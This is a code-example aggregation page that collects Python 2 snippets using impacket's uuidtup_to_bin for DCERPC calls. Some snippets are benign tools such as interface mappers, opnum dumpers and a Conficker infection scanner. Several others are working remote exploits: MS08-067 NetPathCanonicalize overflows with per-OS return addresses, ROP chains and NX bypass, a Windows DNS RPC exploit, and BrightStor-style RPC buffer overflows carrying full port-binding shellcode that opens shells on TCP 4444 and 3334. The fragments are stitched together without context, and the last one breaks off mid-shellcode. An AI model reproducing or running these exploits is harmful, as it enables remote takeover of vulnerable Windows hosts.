Exemplo n.º 1
0
def first_msg_transfer(first_auth_packet, rtransport):
 	abstract_syntax = ('99fcfec4-5260-101b-bbcb-00aa0021347a', '0.0')
 	transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
 	ctx = 0
 	callid = 1
 	bind = MSRPCBind()
 	item = CtxItem()
 	item['AbstractSyntax'] = uuidtup_to_bin(abstract_syntax)
 	item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax)
 	item['ContextID'] = ctx
 	item['TransItems'] = 1
 	bind.addCtxItem(item)
 	packet = MSRPCHeader()
 	packet['type'] = MSRPC_BIND
 	packet['pduData'] = str(bind)
 	packet['call_id'] = callid
 	sec_trailer = SEC_TRAILER()
 	sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT
 	sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_CONNECT
 	sec_trailer['auth_ctx_id'] = ctx + 79231 
 	pad = (4 - (len(packet.get_packet()) % 4)) % 4
 	if pad != 0:
	  	packet['pduData'] += '\xFF'*pad
  		sec_trailer['auth_pad_len']=pad
 	packet['sec_trailer'] = sec_trailer
 	# We insert that shit here!!!!!!!!!!
 	packet['auth_data'] = str(first_auth_packet)
 	rtransport.connect()
 	rtransport.send(packet.get_packet())
Exemplo n.º 2
0
 def rtesthept_map(self):
     MSRPC_UUID_SAMR   = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))
     epm.hept_map(self.machine,MSRPC_UUID_SAMR)
     epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
     MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0'))
     epm.hept_map(self.machine,MSRPC_UUID_ATSVC)
     MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))
     epm.hept_map(self.machine,MSRPC_UUID_SCMR, protocol = 'ncacn_ip_tcp')
    def bind(self,packet, bind):
        # Standard NDR Representation
        NDRSyntax   = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
        resp = dcerpc.MSRPCBindAck()

        resp['type']             = dcerpc.MSRPC_BINDACK
        resp['flags']            = packet['flags']
        resp['frag_len']         = 0
        resp['auth_len']         = 0
        resp['auth_data']        = ''
        resp['call_id']          = packet['call_id'] 
        resp['max_tfrag']        = bind['max_tfrag']
        resp['max_rfrag']        = bind['max_rfrag']
        resp['assoc_group']      = 0x1234
        resp['SecondaryAddrLen'] = 4
        resp['SecondaryAddr']    = '135'
        resp['Pad']              ='A'*((4-((resp["SecondaryAddrLen"]+dcerpc.MSRPCBindAck._SIZE) % 4))%4)
        resp['ctx_num']          = 0

        data      = bind['ctx_items']
        ctx_items = ''
        for i in range(bind['ctx_num']):
            result = dcerpc.MSRPC_CONT_RESULT_USER_REJECT
            item   = dcerpc.CtxItem(data)
            data   = data[len(item):]

            # First we check the Transfer Syntax is NDR32, what we support
            #print "Trying to bind to: %s %s / %s %s" % (bin_to_uuidtup(item['AbstractSyntax']) + bin_to_uuidtup(item['TransferSyntax'])),

            if item['TransferSyntax'] == uuidtup_to_bin(NDRSyntax):
                # Now Check if the interface is what we listen
                reason = 1 # Default, Abstract Syntax not supported
                for i in self.__listenUUIDS:
                    if item['AbstractSyntax'] == i:
                        # Match, we accept the bind request
                        reason           = 0
                        self.__boundUUID = i
            else:
                # Fail the bind request for this context
                reason = 2 # Transfer Syntax not supported
            if reason == 0:
               result = dcerpc.MSRPC_CONT_RESULT_ACCEPT
               #print "... OK!"
            #else:
            #   print "... ERROR!"

            resp['ctx_num']             += 1
            itemResult                   = dcerpc.CtxItemResult()
            itemResult['Result']         = result
            itemResult['Reason']         = reason
            itemResult['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
            ctx_items                   += str(itemResult)

        resp['ctx_items'] = ctx_items
        resp['frag_len']  = len(str(resp))

        self.__clientSock.send(str(resp)) 
        return None
Exemplo n.º 4
0
 def test_hlookup(self):
     resp = epm.hept_lookup(self.machine)
     #for entry in resp:
     #    print epm.PrintStringBinding(entry['tower']['Floors'], self.machine)
     MSRPC_UUID_SAMR   = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))
     epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_SAMR)
     MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0'))
     epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_ATSVC)
     MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))
     epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_SCMR)
Exemplo n.º 5
0
def main(args):
  if len(args) != 2:
    print "usage: ./ifmap.py <host> <port>"
    return 1

  host = args[0]
  port = int(args[1])

  stringbinding = "ncacn_ip_tcp:%s" % host
  trans = transport.DCERPCTransportFactory(stringbinding)
  trans.set_dport(port)

  dce = trans.get_dce_rpc()
  dce.connect()

  iid = uuid.uuidtup_to_bin(("afa8bd80-7d8a-11c9-bef4-08002b102989", "1.0"))
  dce.bind(iid)

  dcemgmt = mgmt.DCERPCMgmt(dce)
  ifids = dcemgmt.inq_if_ids()

  uuidtups = set(
    uuid.bin_to_uuidtup(ifids.get_if_binuuid(index))
    for index in range(ifids.get_ifcount())
  )

  dce.disconnect()

  probes = uuidtups | uuid_database

  for tup in sorted(probes):
    listed = tup in uuidtups

    dce.connect()

    binuuid = uuid.uuidtup_to_bin(tup)
    try:
      dce.bind(binuuid)
    except dcerpc.Exception, e:
      resp = dcerpc.MSRPCBindAck(str(e.args[1]))
      if (resp.getCtxItem(1)['Result'], resp.getCtxItem(1)['Reason']) == (2, 1):
        listening = False
      else:
        raise
    else:
      listening = True

    listed = tup in uuidtups
    otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups)
    if listed or listening:
      print "%r: %s, %s" % (
        tup,
        "listed" if listed else "other version listed" if otherversion else "not listed",
        "listening" if listening else "not listening"
      )
Exemplo n.º 6
0
    def __DCEPacket(self):
	if (self.os=='1'):
		print 'Windows XP SP0/SP1 Universal\n'
		ret = "\x61\x13\x00\x01"
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='2'):
		print 'Windows 2000 Universal\n'
		ret = "\xb0\x1c\x1f\x00"
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='3'):
		print 'Windows 2003 SP0 Universal\n'
		ret = "\x9e\x12\x00\x01"  #0x01 00 12 9e
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='4'):
		print 'Windows 2003 SP1 English\n'
		ret_dec = "\x8c\x56\x90\x7c"  #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
		ret_pop = "\xf4\x7c\xa2\x7c"  #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
		jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
		disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL
		jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
	elif (self.os=='5'):
		print 'Windows XP SP3 French (NX)\n'
		ret = "\x07\xf8\x5b\x59"  #0x59 5b f8 07 
		disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2 
		jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
	elif (self.os=='6'):
		print 'Windows XP SP3 English (NX)\n'
		ret = "\x07\xf8\x88\x6f"  #0x6f 88 f8 07 
		disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 
		jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
	elif (self.os=='7'):
		print 'Windows XP SP3 English (AlwaysOn NX)\n'
		rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}
		jumper = generate_rop(rvasets)+"AB"  #the nonxjmper also work in this case.
	else:
		print 'Not supported OS version\n'
		sys.exit(-1)
	print '[-]Initiating connection'

        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)

        self.__trans.connect()

        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target

        self.__dce = self.__trans.DCERPC_class(self.__trans)

        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))




        path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"  + jumper + "\x00" * 2

        server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
        prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

        self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"

        return
Exemplo n.º 7
0
	def setupConnection(self):
		stringbinding  = 'ncacn_ip_tcp:93.186.196.107[2000]'
		stringbinding %= self.params

		print "Using stringbinding: %r" % stringbinding

		self.trans = transport.DCERPCTransportFactory(stringbinding)
		self.trans.set_max_fragment_size(-1)
		self.trans.set_dport(2000)
		"""
		try:
		    # SMB parameters handling
		    self.trans.connect()
		    self.trans.send(payload)
		    print self.trans.recv()

		except Exception, e:
		    pass
		"""
		self.trans.connect()

		self.dce = self.trans.DCERPC_class(self.trans)
		self.dce.endianness = self.params['endianness']

		# DCERPC parameters handling
		self.dce.set_max_fragment_size(int(self.params['dcerpc_frag']))
		self.dce.set_idempotent(int(self.params['idempotent']))

		self.dce.bind(uuid.uuidtup_to_bin(self.UUID), bogus_binds = int(self.params['bogus_binds']))

		self.dce.set_max_tfrag(-1)

		self.dce.call(42, self.login_payload)
Exemplo n.º 8
0
def ExploitDNS(target, port):
	trans = transport.TCPTransport(target, port)
	trans.connect()
	dce = dcerpc.DCERPC_v5(trans)
	dce.bind(uuid.uuidtup_to_bin(('50abc2a4-574d-40b3-9d66-ee4fd5fba076','5.0')))	
	
	dce.call(0x01, stub)
Exemplo n.º 9
0
    def start(self):
        """start() -> socket
        
        Exploit the target machine and return a socket connected to it's
        listening Telnet service.
        """

        target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target

        LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
        self._trans = transport.DCERPCTransportFactory(target_rpc_name)
        self._trans.connect()

        LOG.debug("Connected to %s", target_rpc_name)

        self._dce = self._trans.DCERPC_class(self._trans)
        self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

        dce_packet = self._build_dce_packet()
        self._dce.call(0x1f, dce_packet)  # 0x1f (or 31)- NetPathCanonicalize Operation

        LOG.debug("Exploit sent to %s successfully...", self._target)
        LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())

        sock = socket.socket()
        sock.connect((self._target, self.get_telnet_port()))
        return sock
Exemplo n.º 10
0
def main(args):
  if len(args) != 4:
    print "usage: opdump.py hostname port interface version"
    return 1

  host, port, interface, version = args[0],  int(args[1]), args[2], args[3]

  stringbinding = "ncacn_ip_tcp:%s" % host
  trans = transport.DCERPCTransportFactory(stringbinding)
  trans.set_dport(port)

  results = []
  for i in range(256):
    dce = trans.get_dce_rpc()
    dce.connect()

    iid = uuid.uuidtup_to_bin((interface, version))
    dce.bind(iid)

    dce.call(i, "")
    try:
      dce.recv()
    except Exception, e:
      result = str(e)
    else:
      result = "success"

    dce.disconnect()

    results.append(result)
Exemplo n.º 11
0
 def bind(self, ifid, ifversion):
     self.ifid = ifid
     self.ifversion = ifversion
     
     self.dce.bind(uuid.uuidtup_to_bin((self.ifid, self.ifversion)))
     
     return None
Exemplo n.º 12
0
 def __DCEPacket(self):
     print '[-]Initiating connection'
     self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
     self.__trans.connect()
     print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
     self.__dce = self.__trans.DCERPC_class(self.__trans)
     self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
     
     # Constructing Malicious Packet
     self.__stub='\x01\x00\x00\x00'
     self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
     self.__stub+=shellcode
     self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
     self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
     self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
     self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
     self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
     self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
     self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
     self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
     self.__stub+='\x00\x00\x00\x00'
     self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
     self.__stub+=payload
     self.__stub+='\x00\x00\x00\x00'
     self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
     self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
     self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
     self.__stub+='\x01\x00\x00\x00'
     return
Exemplo n.º 13
0
def dce_connect_and_exploit(target):
     trans = transport.TCPTransport(target, 6504)
     trans.connect()
     
     dce = dcerpc.DCERPC_v5(trans)
     dce.bind(uuid.uuidtup_to_bin(('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0')))
     
     print "Building packet ..."
     request = build_stub_packet(ip)
     
     print "Sending packet ..."
     dce.call(342, request)
Exemplo n.º 14
0
    def __bind(self):
        """
        DCERPC bind to SRVSVC (Server Service) endpoint
        Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html
        """

        try:
            self.__dce = self.__trans.DCERPC_class(self.__trans)

            self.__dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0")))

        except socket.error, _:
            raise connectionException, "unable to bind to SRVSVC endpoint"
Exemplo n.º 15
0
def test_infection(ip):
	retval = 0

	# INIT
	try:
		t = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % ip)
		t.set_dport(445)
		t.connect()
	except:
		print 'No resp.: %s:445/tcp.' % ip
		return 0


	# NetpwPathCanonicalize
	try:
		dce = t.DCERPC_class(t)
		dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

		scanner = Scan()
		scanner.dce = dce
		scanner.run()

		response = dce.recv()
	except:
		print 'Error running NetPathCanonicalize'
		return 0
	

	if (len(response)>=16):		
		result = struct.unpack('IIII', response[:16])

                if result[1]==0x5c450000 and result[3]==0x00000057:
                        print '[WARNING] %s seems to be infected by Conficker!' % ip
                        retval = 1
                elif result[1] != 0 and result[3] != 123:
                        print "Unknown dcerpc return value 0x%08x" % result[3]
                elif result[1] != 0 and result[1] != 0x5c450000:
                        print "Unknown error code: 0x%08x" % result[1]

			
	if retval == 0:
		print '%s seems to be clean.' % (ip)

	dce.disconnect()

	return retval
Exemplo n.º 16
0
def DCEconnectAndExploit(target):
       trans = transport.TCPTransport(target, 6503)
       trans.connect()
       dce = dcerpc.DCERPC_v5(trans)
       dce.bind(uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0')))

       # The following DWORD gets converted to an address pointing into our
       # buffer.
       request = struct.pack('<L', 0x00003A7C)
       request += "A" * 19608
       request += "\x90\x90\xeb\x06"
       # At the point of overflow EBX points to our shellcode
       # Address of 'call ebx' from kernel32.dll SP4
       request += struct.pack('<L', 0x7C577B03)
       request += "\x90\x90\x90\x90"
       request += shellcode
       request += "b" * 480000
       dce.call(45, request)
Exemplo n.º 17
0
def DiscoverDNSport(target):
	trans = transport.SMBTransport(target, 139, 'epmapper')
	trans.connect()
	dce = dcerpc.DCERPC_v5(trans)
	dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))
	pm = epm.DCERPCEpm(dce)
	handle = '\x00'*20
	while 1:
		dump = pm.portmap_dump(handle)
		if not dump.get_entries_num():
			break
		handle = dump.get_handle()
		entry = dump.get_entry().get_entry()
		if(uuid.bin_to_string(entry.get_uuid()) == '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076'):
			port = entry.get_string_binding().split('[')[1][:-1]
			return int(port)

	print '[-] Could not locate DNS port; Target might not be running DNS'
Exemplo n.º 18
0
def check_pipe(target):
    username, password, domain, nthash = target.creds
    lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
    aesKey = None
    try:
        MSRPC_UUID_lateral = uuidtup_to_bin(
            ('00001111-2222-3333-4444-555566667777', '1.0'))
        stringbinding = r'ncacn_np:%s[\pipe\lateral]' % target.target_ip
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        rpctransport.set_dport(target.target_port)
        rpctransport.setRemoteHost(target.target_ip)
        rpctransport.set_credentials(username, password, domain, lmhash,
                                     nthash, aesKey)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(MSRPC_UUID_lateral)
        return True
    except:
        return False
Exemplo n.º 19
0
def DCEconnectAndExploit(target):
    trans = transport.TCPTransport(target, 6503)
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0')))

    # The following DWORD gets converted to an address pointing into our
    # buffer.
    request = struct.pack('<L', 0x00003A7C)
    request += "A" * 19608
    request += "\x90\x90\xeb\x06"
    # At the point of overflow EBX points to our shellcode
    # Address of 'call ebx' from kernel32.dll SP4
    request += struct.pack('<L', 0x7C577B03)
    request += "\x90\x90\x90\x90"
    request += shellcode
    request += "b" * 480000
    dce.call(45, request)
Exemplo n.º 20
0
def bind_ntlm_authinfo(dcerpc, iface_uuid):

    # Build MSRPCBind information
    bind = MSRPCBind()
    item = CtxItem()
    item['AbstractSyntax'] = iface_uuid
    item['TransferSyntax'] = uuidtup_to_bin(
        ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0'))
    item['ContextID'] = 0
    item['TransItems'] = 1
    bind.addCtxItem(item)

    # Build NTLM Authentication Negociate
    auth = ntlm.NTLMAuthNegotiate()
    auth['flags'] = ntlm.NTLMSSP_NEGOTIATE_UNICODE

    # Build Security Trailer
    sec_trailer = SEC_TRAILER()
    sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
    sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT
    sec_trailer['auth_ctx_id'] = 0xb0b0d0ba

    # Build MSRPC Header
    packet = MSRPCHeader()
    packet['type'] = MSRPC_BIND
    packet['call_id'] = 1
    packet['flags'] = 0x03
    packet['pduData'] = str(bind)
    packet['sec_trailer'] = sec_trailer
    packet['auth_data'] = str(auth)

    # Send MSRPC request
    dcerpc._transport.send(packet.get_packet())

    # Receive MSRPC response
    s = dcerpc._transport.recv()
    if s == 0:
        print "Failed to retrieve a Bind response!"
        return 0

    resp = MSRPCHeader(s)
    return resp
Exemplo n.º 21
0
def DiscoverDNSport(target):
    trans = transport.SMBTransport(target, 139, 'epmapper')
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')))
    pm = epm.DCERPCEpm(dce)
    handle = '\x00' * 20
    while 1:
        dump = pm.portmap_dump(handle)
        if not dump.get_entries_num():
            break
        handle = dump.get_handle()
        entry = dump.get_entry().get_entry()
        if (uuid.bin_to_string(
                entry.get_uuid()) == '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076'):
            port = entry.get_string_binding().split('[')[1][:-1]
            return int(port)

    print '[-] Could not locate DNS port; Target might not be running DNS'
Exemplo n.º 22
0
def DCEconnectAndExploit(target):
    trans = transport.TCPTransport(target, 6503)
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0')))

    request = "A" * 676
    request += "\x90\x90\x90\x90"
    request += "\x90\x90\xeb\x0a"

    #Call dword ptr [esi +4C] from user32.dll
    request += struct.pack("<L", 0x77E4FB7A)
    #Overwrite UnhandledExceptionFilter in Windows 2000 SP0
    request += struct.pack("<L", 0x77EE044C)
    request += "\x90\x90\x90\x90" * 2
    #Portbinding shellcode; Opens shell on TCP port 4444
    request += "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe0"
    request += "\x6f\xe3\x2a\x83\xeb\xfc\xe2\xf4\x1c\x05\x08\x67\x08\x96\x1c\xd5"
    request += "\x1f\x0f\x68\x46\xc4\x4b\x68\x6f\xdc\xe4\x9f\x2f\x98\x6e\x0c\xa1"
    request += "\xaf\x77\x68\x75\xc0\x6e\x08\x63\x6b\x5b\x68\x2b\x0e\x5e\x23\xb3"
    request += "\x4c\xeb\x23\x5e\xe7\xae\x29\x27\xe1\xad\x08\xde\xdb\x3b\xc7\x02"
    request += "\x95\x8a\x68\x75\xc4\x6e\x08\x4c\x6b\x63\xa8\xa1\xbf\x73\xe2\xc1"
    request += "\xe3\x43\x68\xa3\x8c\x4b\xff\x4b\x23\x5e\x38\x4e\x6b\x2c\xd3\xa1"
    request += "\xa0\x63\x68\x5a\xfc\xc2\x68\x6a\xe8\x31\x8b\xa4\xae\x61\x0f\x7a"
    request += "\x1f\xb9\x85\x79\x86\x07\xd0\x18\x88\x18\x90\x18\xbf\x3b\x1c\xfa"
    request += "\x88\xa4\x0e\xd6\xdb\x3f\x1c\xfc\xbf\xe6\x06\x4c\x61\x82\xeb\x28"
    request += "\xb5\x05\xe1\xd5\x30\x07\x3a\x23\x15\xc2\xb4\xd5\x36\x3c\xb0\x79"
    request += "\xb3\x3c\xa0\x79\xa3\x3c\x1c\xfa\x86\x07\xf2\x76\x86\x3c\x6a\xcb"
    request += "\x75\x07\x47\x30\x90\xa8\xb4\xd5\x36\x05\xf3\x7b\xb5\x90\x33\x42"
    request += "\x44\xc2\xcd\xc3\xb7\x90\x35\x79\xb5\x90\x33\x42\x05\x26\x65\x63"
    request += "\xb7\x90\x35\x7a\xb4\x3b\xb6\xd5\x30\xfc\x8b\xcd\x99\xa9\x9a\x7d"
    request += "\x1f\xb9\xb6\xd5\x30\x09\x89\x4e\x86\x07\x80\x47\x69\x8a\x89\x7a"
    request += "\xb9\x46\x2f\xa3\x07\x05\xa7\xa3\x02\x5e\x23\xd9\x4a\x91\xa1\x07"
    request += "\x1e\x2d\xcf\xb9\x6d\x15\xdb\x81\x4b\xc4\x8b\x58\x1e\xdc\xf5\xd5"
    request += "\x95\x2b\x1c\xfc\xbb\x38\xb1\x7b\xb1\x3e\x89\x2b\xb1\x3e\xb6\x7b"
    request += "\x1f\xbf\x8b\x87\x39\x6a\x2d\x79\x1f\xb9\x89\xd5\x1f\x58\x1c\xfa"
    request += "\x6b\x38\x1f\xa9\x24\x0b\x1c\xfc\xb2\x90\x33\x42\x10\xe5\xe7\x75"
    request += "\xb3\x90\x35\xd5\x30\x6f\xe3\x2a"

    dce.call(43, request)
Exemplo n.º 23
0
def DCEconnectAndExploit(target):
    trans = transport.TCPTransport(target, 6502)
    trans.connect()
    dce = dcerpc.DCERPC_v5(trans)
    dce.bind(
        uuid.uuidtup_to_bin(('62b93df0-8b02-11ce-876c-00805f842837', '1.0')))

    request = '\x10\x09\xf9\x77'
    request += '\x41' * 1130
    request += '\x90\x90\x90\x90\xeb\x08'  #short jump into nops
    request += '\xd2\x7b\x57\x7c'  #call ebx address from kernel32.dll
    request += '\x90' * 32
    #Shellcode to bind shell to TCP port 3334
    request += "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73"
    request += "\x13\xe9\x59\x23\xce\x83\xeb\xfc\xe2\xf4\x15\x33\xc8\x83"
    request += "\x01\xa0\xdc\x31\x16\x39\xa8\xa2\xcd\x7d\xa8\x8b\xd5\xd2"
    request += "\x5f\xcb\x91\x58\xcc\x45\xa6\x41\xa8\x91\xc9\x58\xc8\x87"
    request += "\x62\x6d\xa8\xcf\x07\x68\xe3\x57\x45\xdd\xe3\xba\xee\x98"
    request += "\xe9\xc3\xe8\x9b\xc8\x3a\xd2\x0d\x07\xe6\x9c\xbc\xa8\x91"
    request += "\xcd\x58\xc8\xa8\x62\x55\x68\x45\xb6\x45\x22\x25\xea\x75"
    request += "\xa8\x47\x85\x7d\x3f\xaf\x2a\x68\xf8\xaa\x62\x1a\x13\x45"
    request += "\xa9\x55\xa8\xbe\xf5\xf4\xa8\x8e\xe1\x07\x4b\x40\xa7\x57"
    request += "\xcf\x9e\x16\x8f\x45\x9d\x8f\x31\x10\xfc\x81\x2e\x50\xfc"
    request += "\xb6\x0d\xdc\x1e\x81\x92\xce\x32\xd2\x09\xdc\x18\xb6\xd0"
    request += "\xc6\xa8\x68\xb4\x2b\xcc\xbc\x33\x21\x31\x39\x31\xfa\xc7"
    request += "\x1c\xf4\x74\x31\x3f\x0a\x70\x9d\xba\x0a\x60\x9d\xaa\x0a"
    request += "\xdc\x1e\x8f\x31\x32\x95\x8f\x0a\xaa\x2f\x7c\x31\x87\xd4"
    request += "\x99\x9e\x74\x31\x3f\x33\x33\x9f\xbc\xa6\xf3\xa6\x4d\xf4"
    request += "\x0d\x27\xbe\xa6\xf5\x9d\xbc\xa6\xf3\xa6\x0c\x10\xa5\x87"
    request += "\xbe\xa6\xf5\x9e\xbd\x0d\x76\x31\x39\xca\x4b\x29\x90\x9f"
    request += "\x5a\x99\x16\x8f\x76\x31\x39\x3f\x49\xaa\x8f\x31\x40\xa3"
    request += "\x60\xbc\x49\x9e\xb0\x70\xef\x47\x0e\x33\x67\x47\x0b\x68"
    request += "\xe3\x3d\x43\xa7\x61\xe3\x17\x1b\x0f\x5d\x64\x23\x1b\x65"
    request += "\x42\xf2\x4b\xbc\x17\xea\x35\x31\x9c\x1d\xdc\x18\xb2\x0e"
    request += "\x71\x9f\xb8\x08\x49\xcf\xb8\x08\x76\x9f\x16\x89\x4b\x63"
    request += "\x30\x5c\xed\x9d\x16\x8f\x49\x31\x16\x6e\xdc\x1e\x62\x0e"
    request += "\xdf\x4d\x2d\x3d\xdc\x18\xbb\xa6\xf3\xa6\x19\xd3\x27\x91"
    request += "\xba\xa6\xf5\x31\x39\x59\x23\xce"

    dce.call(38, request)
Exemplo n.º 24
0
def main(args):
    if len(args) != 4:
        print("usage: opdump.py hostname port interface version")
        return 1

    host, port, interface, version = args[0], int(args[1]), args[2], args[3]

    stringbinding = "ncacn_ip_tcp:%s" % host
    trans = transport.DCERPCTransportFactory(stringbinding)
    trans.set_dport(port)

    results = []
    for i in range(256):
        dce = trans.get_dce_rpc()
        dce.connect()

        iid = uuid.uuidtup_to_bin((interface, version))
        dce.bind(iid)

        dce.call(i, "")
        try:
            dce.recv()
        except Exception as e:
            result = str(e)
        else:
            result = "success"

        dce.disconnect()

        results.append(result)

    # trim duplicate suffixes from the back
    suffix = results[-1]
    while results and results[-1] == suffix:
        results.pop()

    for i, result in enumerate(results):
        print("op %d (0x%02x): %s" % (i, i, result))

    print("ops %d-%d: %s" % (len(results), 255, suffix))
Exemplo n.º 25
0
def DCEconnectAndExploit(target):
       trans = transport.TCPTransport(target, 6503)
       trans.connect()
       dce = dcerpc.DCERPC_v5(trans)
       dce.bind(uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0')))

       request = "A" * 676
       request += "\x90\x90\x90\x90"
       request += "\x90\x90\xeb\x0a"

       #Call dword ptr [esi +4C] from user32.dll
       request += struct.pack("<L", 0x77E4FB7A)
       #Overwrite UnhandledExceptionFilter in Windows 2000 SP0
       request += struct.pack("<L", 0x77EE044C)
       request += "\x90\x90\x90\x90" * 2
       #Portbinding shellcode; Opens shell on TCP port 4444
       request += "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe0"
       request += "\x6f\xe3\x2a\x83\xeb\xfc\xe2\xf4\x1c\x05\x08\x67\x08\x96\x1c\xd5"
       request += "\x1f\x0f\x68\x46\xc4\x4b\x68\x6f\xdc\xe4\x9f\x2f\x98\x6e\x0c\xa1"
       request += "\xaf\x77\x68\x75\xc0\x6e\x08\x63\x6b\x5b\x68\x2b\x0e\x5e\x23\xb3"
       request += "\x4c\xeb\x23\x5e\xe7\xae\x29\x27\xe1\xad\x08\xde\xdb\x3b\xc7\x02"
